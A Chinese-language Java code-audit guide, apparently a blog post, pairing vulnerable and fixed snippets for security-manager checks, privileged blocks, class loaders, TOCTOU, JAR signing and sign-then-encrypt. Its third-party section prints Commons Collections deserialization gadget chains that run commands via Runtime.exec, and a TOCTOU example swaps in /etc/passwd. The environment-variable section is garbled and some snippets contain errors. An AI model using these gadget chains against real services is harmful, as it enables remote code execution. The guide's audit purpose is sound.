當應用需要加載非信任代碼時,必須安裝安全管理器,且敏感操作必須經過安全管理器檢查,從而防止它們被非信任代碼調用。某些常見敏感操作的Java API,例如訪問本地文件、向外部主機開放套接字連接或者創建一個類加載器,已經包括了安全管理器檢查來實施JDK中的某些預定義策略。僅需要安裝安全管理器即可保護這些預定義的敏感操作。然而,應用本身也可能包含敏感操作。對於這些敏感操作,除了安裝一個安全管理器之外,必須自定義安全策略,並在操作前手動爲其增加安全管理器檢查。
漏洞示例
public class SensitiveHash
{
private Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
public void removeEntry(Object key)
{
ht.remove(key);
}
}
這段不符合要求的示例代碼實例化一個Hashtable,並定義了一個removeEntry()方法允許刪除其條目。這個方法被認爲是敏感的,因爲哈希表中包含敏感信息。由於該方法被聲明爲是public且non-final的,將其暴露給了惡意調用者。
審計策略
需要和業務一起溝通那些方法屬於敏感方法一般情況下涉及刪除,遍歷等操作的都視爲敏感操作。當然敏感操作如果不涉及敏感數據也是可以的。
修復方案
public class SensitiveHash
{
Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
void removeEntry(Object key)
{
// "removeKeyPermission" is a custom target name for SecurityPermission
check("removeKeyPermission");
ht.remove(key);
}
private void check(String directive)
{
SecurityManager sm = System.getSecurityManager();
if (sm != null)
{
sm.checkSecurityAccess(directive);
}
}
}
該正確示例使用安全管理器檢查來防止Hashtable實例中的條目被惡意刪除。如果調用者缺少java.security.SecurityPermission removeKeyPermission,一個SecurityException異常將被拋出。 SecurityManager.checkSecurityAccess()方法檢查調用者是否有特定的操作權限。

 

 

特權區域安全問題

 

 

介紹
java.security.AccessController類是Java安全機制的一部分,負責實施可應用的安全策略。該類靜態的doPrivileged()方法以不嚴格的安全策略執行一個代碼塊。doPrivileged()方法將會阻止權限檢查在方法調用棧上進一步往下進行。因此,任何包含doPrivileged()代碼塊的方法或者類都有責任確保敏感操作訪問的安全性。不要在特權塊內操作未經校驗的或者非信任的數據。如果違反,攻擊者可以通過提供惡意輸入來提升自己的權限。在進行特權操作之前,通過硬編碼方式而非接受參數(適當時)或者是進行數據校驗,可以減小這種風險。
漏洞示例
private void privilegedMethod(final String fileName) throws
FileNotFoundException
{
try
{
FileInputStream fis = (FileInputStream) AccessController.doPrivileged(
new PrivilegedExceptionAction()
{
public FileInputStream run() throws FileNotFoundException
{
return new FileInputStream(fileName);
}
});
// do something with the file and then close it
}
catch (PrivilegedActionException e)
{
// forward to handler
}
}
該代碼示例接受一個非法的路徑或文件名作爲參數。攻擊者可以通過將受保護的文件路徑傳入,從而得到特權訪問這些文件。
審計策略
對特權區域的流程做上下文檢查。
修復方案
1、對文件做清洗
private void privilegedMethod(final String fileName) throws
FileNotFoundException, InvalidArgumentException
{
final String cleanFileName;
cleanFileName = cleanAFileNameAndPath(fileName);
try
{
FileInputStream fis = (FileInputStream)
AccessController.doPrivileged(new PrivilegedExceptionAction()
{
public FileInputStream run() throws FileNotFoundException
{
return new FileInputStream(cleanFileName);
}
});
// do something with the file and then close it
}
catch (PrivilegedActionException e)
{
// forward to handler and log
}
}
2、內置文件名與路徑 
static final String FILEPATH = "/path/to/protected/file/fn.ext";
private void privilegedMethod() throws FileNotFoundException
{
try
{
FileInputStream fis = (FileInputStream)
AccessController.doPrivileged(new PrivilegedExceptionAction()
{
public FileInputStream run() throws FileNotFoundException
{
return new FileInputStream(FILEPATH);
}
});
// do something with the file and then close it
}
catch (PrivilegedActionException e)
{
// forward to handler and log
}
}
允許一個非特權用戶訪問任意的受保護文件或其他資源本身就是不安全的設計。可以考慮硬
編碼資源名稱,或者是隻允許用戶在一個特定的選項列表中進行選擇,這些選項會間接映射
到對應的資源名稱。這個正確示例同時顯式硬編碼文件名與限制包含特權塊方法中使用的變
量。這就確保了惡意文件無法通過利用特權方法被加載。

 

 

特權區敏感方法定義

 

 

介紹
java.security.AccessController類是Java安全機制的一部分,負責實施可應用的安全策略。該類靜態的doPrivileged()方法以不嚴格的安全策略執行一個代碼塊。doPrivileged()方法將會阻止權限檢查在方法調用棧上進一步往下進行。因此,任何包含doPrivileged()代碼塊的方法或者類都有責任確保敏感操作訪問的安全性。doPrivileged()方法一定不能泄露敏感信息或者功能。例如,假設一個Web應用程序爲Web服務維護一個敏感的口令文件,同時也會加載運行不受信任的代碼。那麼,Web應用程序可以實施一種安全策略,來防止自身的大部分代碼和不受信任代碼訪問該敏感文件。由於必須要提供添加和修改口令的機制,可通過doPrivileged()特權快來臨時允許不受信任
代碼訪問敏感文件來管理密碼。這種情況下,任何特權塊必須防止不受信任代碼訪問口令信息。
漏洞示例
public class PasswordManager
{
public static void changePassword() throws MyAppException
{
// ...
FileInputStream fin = openPasswordFile();
// test old password with password in file contents; change password
// then close the password file
// ...
}
public static FileInputStream openPasswordFile()
throws FileNotFoundException
{
final String passwordFile = "password";
FileInputStream fin = null;
try
{
fin = AccessController.doPrivileged(new PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);
}
});
}
catch (PrivilegedActionException x)
{
// Handle exceptions…
}
return fin;
}
}
在上述示例中,doPrivileged()方法被openPasswordFile()方法所調用。openPasswordFile()函數通過特權塊代碼獲取並返回口令文件的FileInputStream流。 由於openPasswordFile()方法爲public,它可能被不受信任代碼所調用,從而引起敏感信息泄漏。
審計策略
全局審計特權區代碼
修復方案
public class PasswordManager
{
public static void changePassword() throws MyAppException
{
try
{
FileInputStream fin = openPasswordFile();
// test old password with password in file contents; change password
// then close the password file
}
// Handle exceptions…
}
private static FileInputStream openPasswordFile()
throws FileNotFoundException
{
final String passwordFile = "password";
FileInputStream fin = null;
try
{
fin = AccessController.doPrivileged(new PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);
}
});
}
catch (PrivilegedActionException x)
{
// Handle exceptions…
}
return fin;
}
}
該正確代碼將openPasswordFile()聲明爲private來消減漏洞。因此,非受信調用者可以調用changePassword()但卻不能直接調用openPasswordFile()函數。

 

 

自定義類加載器(ClassLoader)

 

 

介紹
在自定義類加載器必須覆蓋getPermissions()函數時,在具體實現時,在爲代碼源分配任意權限前,需要調用超類的getPermissions()函數,以顧及與遵循系統的默認安全策略。忽略了超類getPermissions()方法的自定義類加載器可能會加載權限提升了的非受信類。自定義類加載器時不要直接繼承抽象的ClassLoader類。
漏洞示例
public class MyClassLoader extends URLClassLoader
{
@Override
protected PermissionCollection getPermissions(CodeSource cs)
{
PermissionCollection pc = new Permissions();
// allow exit from the VM anytime
pc.add(new RuntimePermission("exitVM"));
return pc;
}
// Other code…
}
該錯誤代碼示例展示了一個繼承自URLClassLoader類的自定義類加載器的一部分。它覆蓋了getPermissions()方法,但是並未調用其超類的限制性更強的getPermissions()方法。因此,該自定義類加載器加載的類具有的權限完全獨立於系統全局策略文件規定的權限。實際上,該類的權限覆蓋了這些權限。
審計策略
全局搜索以下關鍵字
URLClassLoader
ClassLoader
getPermissions
loadClass
修復方案
public class MyClassLoader extends URLClassLoader
{
@Override
protected PermissionCollection getPermissions(CodeSource cs)
{
PermissionCollection pc = super.getPermissions(cs);
// allow exit from the VM anytime
pc.add(new RuntimePermission("exitVM"));
return pc;
}
// Other code…
}
在該正確代碼示例中,getPermissions()函數調用了super.getPermissions()。結果,除了自定義策略外,系統全局的默認安全策略也被應用。

 

 

TOCTOU漏洞

 

 

介紹
基於不受信任數據源的安全檢查可以被攻擊者所繞過。在使用非受信數據源時,必須確保被檢查的輸入和實際被處理的輸入相同。如果輸入在檢查和使用之間發生了變化,便會發生“time-of-check, time-of-use”(TOCTOU)漏洞。唯一正確的對策是保持數據不可變從而確保安全檢查以及特權操作時使用的是同樣的數據。在做安全檢查之前,可以先對不受信任的對象或者參數做防禦性拷貝,然後基於這份拷貝做安全檢查。這樣的拷貝必須要是深拷貝。待檢查對象的clone()方法實現可能只是生成一個淺拷貝,仍然可能會帶來危害。另外clone()方法的實現本身可能就是由攻擊者所提供。
漏洞示例
public RandomAccessFile openFile(final java.io.File f)
{
RandomAccessFile rf = null;
try
{
askUserPermission(f.getPath());
// ...
rf = AccessController.doPrivileged(new
PrivilegedExceptionAction<RandomAccessFile>()
{
public RandomAccessFile run() throws FileNotFoundException
{
return new RandomAccessFile(f, "r");
}
});
}
catch(IOException e)
{
// handle error
}
catch (PrivilegedActionException e)
{
// handle error
}
return rf;
}
這個不符合要求的代碼示例描述了JDK1.5版本java.io包中的一個安全漏洞。在此版本中,java.io.File類不是final類,它允許攻擊者繼承合法的File類來提供一個非受信參數。在這種方式下,覆蓋getPath()函數以後,通過檢查函數被調用的次數,函數第一次被調用時返回一個能夠通過安全檢查的文件路徑,但第二次被調用時返回保存敏感信息的文件,如/etc/passwd 文件,這樣就繞過了安全檢查。這就是TOCTOU漏洞的一個例子。攻擊者可將java.io.File按如下方式擴展:
public class BadFile extends java.io.File
{
private int count;
// ... Other omitted code
public String getPath()
{
return (++count == 1) ? "/tmp/foo" : "/etc/passwd";
}
}
然後用BadFile類型的文件對象調用有漏洞的openFile()函數。安全管理器AccessController.doPrivileged檢測的時候第一次檢測的是/tmp/foo是一個正常的文件但是檢測完到調用的時候缺調用了/etc/passwd
審計策略
全局搜索關鍵字
Clone
Jdk版本
通讀安全管理器的邏輯流程
修復方案
public RandomAccessFile openFile(final java.io.File f)
{
RandomAccessFile rf = null;
try
{
final java.io.File copy = new java.io.File(f.getPath());
askUserPermission(copy.getCanonicalPath());
// ...
rf = AccessController.doPrivileged(new
PrivilegedExceptionAction<RandomAccessFile>()
{
public RandomAccessFile run() throws FileNotFoundException
{
return new RandomAccessFile(f, "r");
}
});
}
catch(IOException e)
{
// handle error
}
catch (PrivilegedActionException e)
{
// handle error
}
return rf;
}
該正確代碼示例確保java.io.File對象是可信的,不管它是否是final型的。該示例使用標準構造器創建了一個新的文件對象。這樣可以保證在File對象上調用的任何函數均來自標準類庫,而不是被攻擊者所覆蓋過的函數。注意,使用clone()函數而非openFile()函數會拷貝攻擊者的類,而這是不可取的。

 

 

默認jar簽名機制

 

 

介紹
基於Java的技術通常使用Java Archive(JAR)特性爲獨立於平臺的部署打包文件。例如,對於Enterprise JavaBeans(EJB)、MIDlets(J2ME)和Weblogic Server J2EE等應用,JAR文件是首選的分發包方式。Java Web Start提供的即點即擊的安裝也依賴於JAR文件格式打包。有需要時,廠商會爲自己的JAR文件簽名。這可以證明代碼的真實性,但卻不能保證代碼的安全性。客戶代碼可能缺乏代碼簽名的程序化檢查。例如,URLClassLoader及其子類實例與java.util.jar自動驗證JAR文件的簽名。開發人員自定義的類加載器可能缺乏這項檢查。而且,即便是在URLClassLoader中,自動驗證也只是進行完整性檢查,由於檢查使用的是JAR包中未經驗證的公鑰,因此無法對加載類的真實性進行認證。合法的JAR文件可能會被惡意JAR文件替換,連同其中的公鑰和摘要值也被適當替換和修改。默認的自動簽名驗證過程仍然可以使用,但僅僅藉助它是不夠的。使用默認的自動簽名驗證過程的系統必須執行額外的檢查來確保簽名的正確性((如與一個已知的受信任簽名進行比較)。
漏洞示例
public class JarRunner
{
public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException,
InvocationTargetException
{
URL url = new URL(args[0]);
// Create the class loader for the application jar file
JarClassLoader cl = new JarClassLoader(url);
// Get the application's main class name
String name = cl.getMainClassName();
// Get arguments for the application
String[] newArgs = new String[args.length - 1];
System.arraycopy(args, 1, newArgs, 0, newArgs.length);
// Invoke application's main class
cl.invokeClass(name, newArgs);
}
}
final class JarClassLoader extends URLClassLoader
{
private URL url;
public JarClassLoader(URL url)
{
super(new URL[] {url});
this.url = url;
}
public String getMainClassName() throws IOException
{
URL u = new URL("jar", "", url + "!/");
JarURLConnection uc = (JarURLConnection) u.openConnection();
Attributes attr = uc.getMainAttributes();
return attr != null ? attr.getValue(Attributes.Name.MAIN_CLASS) : null;
}
public void invokeClass(String name, String[] args)throws ClassNotFoundException, NoSuchMethodException,InvocationTargetException
{
Class c = loadClass(name);
Method m = c.getMethod("main", new Class[] {args.getClass()});
m.setAccessible(true);
int mods = m.getModifiers();
if (m.getReturnType() != void.class || !Modifier.isStatic(mods)
|| !Modifier.isPublic(mods))
{
throw new NoSuchMethodException("main");
}
try
{
m.invoke(null, new Object[] {args});
}
catch (IllegalAccessException e)
{
System.out.println("Access denied");
}
}
}
該錯誤示例代碼展示了一個JarRunner演示程序,它可以動態執行JAR文件中的某個特定類。該程序創建了一個JarClassLoader,它通過不信任的網絡如Internet來加載程序更新、插件或補丁。第一個參數是獲取代碼的URL,其他參數指定傳遞給加載類的參數。JarRunner使用反射來調用被加載類的main()方法。不幸的是,默認情況下,JarClassLoader使用JAR文件中包含的公鑰來驗證簽名。
審計策略
全局搜索下面的jar包或者關鍵字
URLClassLoader
java.util.jar
修復方案
public void invokeClass(String name, String[] args)throws ClassNotFoundException, NoSuchMethodException,InvocationTargetException, GeneralSecurityException, IOException
{
Class c = loadClass(name);
Certificate[] certs =c.getProtectionDomain().getCodeSource().getCertificates();
if (certs == null)
{
// return, do not execute if unsigned
System.out.println("No signature!");
return;
}
KeyStore ks = KeyStore.getInstance("JKS");
ks.load(new FileInputStream(System.getProperty("user.home"+ File.separator + "keystore.jks")), getKeyStorePassword());
// get the certificate stored in the keystore with "user" as alias
Certificate pubCert = ks.getCertificate("user");
// check with the trusted public key, else throws exception
certs[0].verify(pubCert.getPublicKey());
// ... other omitted code
}
當本地系統不能可靠的驗證簽名時,調用程序必須通過程序化的方式驗證簽名。具體做法是,程序必須從加載類的代碼源(Code-Source)中獲取證書鏈,然後檢查證書是否屬於某個事先獲取並保存在本地密鑰庫(KeyStore)中的受信任簽名者

 

 

環境變量

 

 

介紹
因爲 System.getENV() 需要用和操作系統相關的關鍵字才能獲得環境變量的值。當程序代碼跨操作系統移植時,代碼出錯。比如不提倡使用 System.getE getenv NV(“UIDS”)。
漏洞示例
“UIDS”是操作系統相關的關鍵字,不同操作系統會提供不同關鍵字,Linux 下是 UIDS,Windows 下 UIDSNAME。一旦跨平臺移植,代碼出問題。提倡使用 System.getProperty(“uIDS.name”)。“uIDS.name”是 JVM 保留的關鍵字,平臺無關,使用安全。
審計策略
全局搜索 System. Getenv
修復方案
使用 System.getProperty,注意相關參數的替換。

 

 

數據簽名和加密

 

 

介紹
敏感數據傳輸過程中要防止竊取和惡意篡改。使用安全的加密算法加密傳輸對象可以保護數據。這就是所謂的對對象進行密封。而對密封的對象進行數字簽名則可以防止對象被非法篡改,保持其完整性。在以下場景中,需要對對象密封和數字簽名來保證數據安全:
1) 序列化或傳輸敏感數據
2) 沒有諸如SSL傳輸通道一類的安全通信通道或者對於有限的事務來說代價太高
3) 敏感數據需要長久保存(比如在硬盤驅動器上)
應該避免使用私有加密算法。這類算法大多數情況下會引入不必要的漏洞。
漏洞示例
class SerializableMap<K, V> implements Serializable
{
final static long serialVersionUID = 45217497203262395L;
private Map<K, V> map;
public SerializableMap()
{ map = new HashMap<K, V>();}
public V getData(K key)
{ return map.get(key); }
public void setData(K key, V data)
{ map.put(key, data); }
}
public class MapSerializer
{
public static SerializableMap<String, Integer> buildMap()
{
SerializableMap<String, Integer> map = new SerializableMap<String,Integer>();
map.setData("John Doe", new Integer(123456789));
map.setData("Richard Roe", new Integer(246813579));
return map;
}
public static void InspectMap(SerializableMap<String, Integer> map)
{
System.out.println("John Doe's number is " + map.getData("John Doe"));
System.out.println("Richard Roe's number is "+ map.getData("Richard Roe"));
}
}
示例一 未做加密和簽名:
public static void main(String[] args) throws IOException,ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("data"));
out.writeObject(map);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
map = (SerializableMap<String, Integer>) in.readObject();
in.close();
// Inspect map
InspectMap(map);
}
該錯誤代碼沒有采取任何措施抵禦二進制數據傳輸過程中可能遭遇的字節流操縱攻擊。因此,任何人都可以對序列化的流數據實施逆向工程從而恢復HashMap中的數據。
示例二 僅做了加密:
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(map, cipher);
// 上面的代碼通過AES對map做加密
// 下面開始序列化map
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("data"));
out.writeObject(sealedMap);
out.close();
// 下面通過發序列化map來傳輸數據
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();
in.close();
// Unseal map
cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
map = (SerializableMap<String, Integer>) sealedMap.getObject(cipher);
// Inspect map
InspectMap(map);
}
該程序未對數據進行簽名,因此無法進行可靠性驗證。
示例三 先加密後簽名:
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(map, cipher);
// Generate signing public/private key pair & sign map
//下面開始簽名
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
Signature sig = Signature.getInstance("SHA256withRSA");
SignedObject signedMap = new SignedObject(sealedMap, kp.getPrivate(), sig);
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("data"));
out.writeObject(signedMap);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
signedMap = (SignedObject) in.readObject();
in.close();
// Verify signature and retrieve map
if (!signedMap.verify(kp.getPublic(), sig))
{
throw new GeneralSecurityException("Map failed verification");
}
sealedMap = (SealedObject) signedMap.getObject();
// Unseal map
cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
map = (SerializableMap<String, Integer>) sealedMap.getObject(cipher);
// Inspect map
InspectMap(map);
}
這段代碼先將對象加密然後爲其簽名。任何惡意的第三方可以截獲原始加密簽名後的數據,
剔除原始的簽名,並對密封的數據加上自己的簽名。這樣一來,由於對象被加密和簽名(只
有在簽名驗證通過後纔可以解密對象),惡意第三方和正常的接收者均無法得到原始的消息
內容。接收者無法確認發件人的身份,除非可以通過安全通道獲得合法發件人的公開密鑰。
三個國際電報電話諮詢委員會(CCITT)X.509標準協議中有一個容易受到這種攻擊。
審計方法
對於涉及數據需要傳輸的地方需要人工審計。重點關注業務中關於簽名和加密方面的場景。一般在支付,api校驗,認證等業務場景中比較常見。
修復方案
先簽名後加密
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SealedObject;
// Other import…
public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException
{
// Build map
SerializableMap<String, Integer> map = buildMap();
// Generate signing public/private key pair & sign map
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
Signature sig = Signature.getInstance("SHA256withRSA");
SignedObject signedMap = new SignedObject(map, kp.getPrivate(), sig);
// Generate sealing key & seal map
KeyGenerator generator = KeyGenerator.getInstance("AES");
generator.init(new SecureRandom());
Key key = generator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
SealedObject sealedMap = new SealedObject(signedMap, cipher);
// Serialize map
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(
"data"));
out.writeObject(sealedMap);
out.close();
// Deserialize map
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();
in.close();
// Unseal map cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
signedMap = (SignedObject) sealedMap.getObject(cipher);
// Verify signature and retrieve map
if (!signedMap.verify(kp.getPublic(), sig))
{
throw new GeneralSecurityException("Map failed verification");
}
map = (SerializableMap<String, Integer>) signedMap.getObject();
// Inspect map
InspectMap(map);
}
這段正確的代碼先爲對象簽名然後再加密。 這樣既能保證數據的真實可靠性,又能防止“中間人攻擊”(man-in-middle attacks)。
例外情況:
1) 爲已加密對象簽名在特定場景下是合理的,比如驗證從其他地方接收的加密對象的真實
性。這是對於被機密對象本身而非其內容的保證。
2) 簽名和加密僅僅對於必須跨過信任邊界的對象是必需的。始終位於信任邊界內的對象不
需要簽名或加密。例如,如果某網絡全部位於信任邊界內,始終處於該網絡上的對象無
需簽名或加密。

 

第三方組件安全

介紹
這個比較好理解,諸如Struts2、不安全的編輯控件、XML解析器以及可被其它漏洞利用的如commons-collections:3.1等第三方組件,這個可以在程序pom文件中查看是否有引入依賴。即便在代碼中沒有應用到或很難直接利用,也不應該使用不安全的版本,一個產品的週期很長,很難保證後面不會引入可被利用的漏洞點。
審計策略
熟悉常見的java框架安全問題。
修復方案
使用最新或安全版本的第三方組件Apache Commons Collections
介紹項目地址官網:    http://commons.apache.org/proper/commons-collections/ 
Github:  https://github.com/apache/commons-collections
org.apache.commons.collections提供一個類包來擴展和增加標準的Java collection框架,也就是說這些擴展也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解爲一組對象,collection裏面的對象稱爲collection的對象。具象的collection爲set,list,queue等等,它們是集合類型。換一種理解方式,collection是set,list,queue的抽象。
 
Apache Commons Collections中有一個特殊的接口,其中有一個實現該接口的類可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer。
JAVA反射機制
    在運行狀態中:
      對於任意一個類,都能夠判斷一個對象所屬的類;
      對於任意一個類,都能夠知道這個類的所有屬性和方法;
      對於任意一個對象,都能夠調用它的任意一個方法和屬性;
    這種動態獲取的信息以及動態調用對象的方法的功能稱爲java語言的反射機制。
漏洞示例
Apache Commons Collections < 3.2.2版本存在的反序列化漏洞。CVE-2015-7450
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待執行的命令數組
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
        //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class), //返回一個Runtime.class常量
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ), //通過反射得到getMethod(“getRuntime”,null)
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ), //得到 invoke(null,null)
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )  //得到 exec(“whoami”)
        };
        //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);
        //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
        BeforeTransformerMap.put("hello", "hello");

        //Map數據結構,轉換後的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
            第一個參數爲待轉化的Map對象
            第二個參數爲Map對象內的key要經過的轉化方法(可爲單個方法,也可爲鏈,也可爲空)
            第三個參數爲Map對象內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}


/*
思路:構建BeforeTransformerMap的鍵值對,爲其賦值,
     利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行
     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()
*/
public static void main(String[] args) throws Exception {
    //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先構造一個Map和一個能夠執行代碼的ChainedTransformer,以此生成一個TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //觸發Map中的MapEntry產生修改(例如setValue()函數
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");
    /*代碼運行到setValue()時,就會觸發ChainedTransformer中的一系列變換函數:
       首先通過ConstantTransformer獲得Runtime類
       進一步通過反射調用getMethod找到invoke函數
       最後再運行命令calc.exe。
    */
}


審計策略
通讀代碼,找出可利用的點
修復方案
升級到最新版本。從源碼角度講審計方法如下:
Apache Commons Collections 已經在在3.2.2版本中做了修復,對這些不安全的Java類的序列化支持增加了開關,默認爲關閉狀態。涉及的類包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。
如,InvokerTransformer類重寫了序列化相關方法writeObject()和 readObject()。
如果沒有開啓不安全類的序列化,則會拋出UnsupportedOperationException異常:
 

表達式安全

比如:spring, struts2, jsp 等存在表達式安全方面的漏洞。 todo

發佈了51 篇原創文章 · 獲贊 10 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章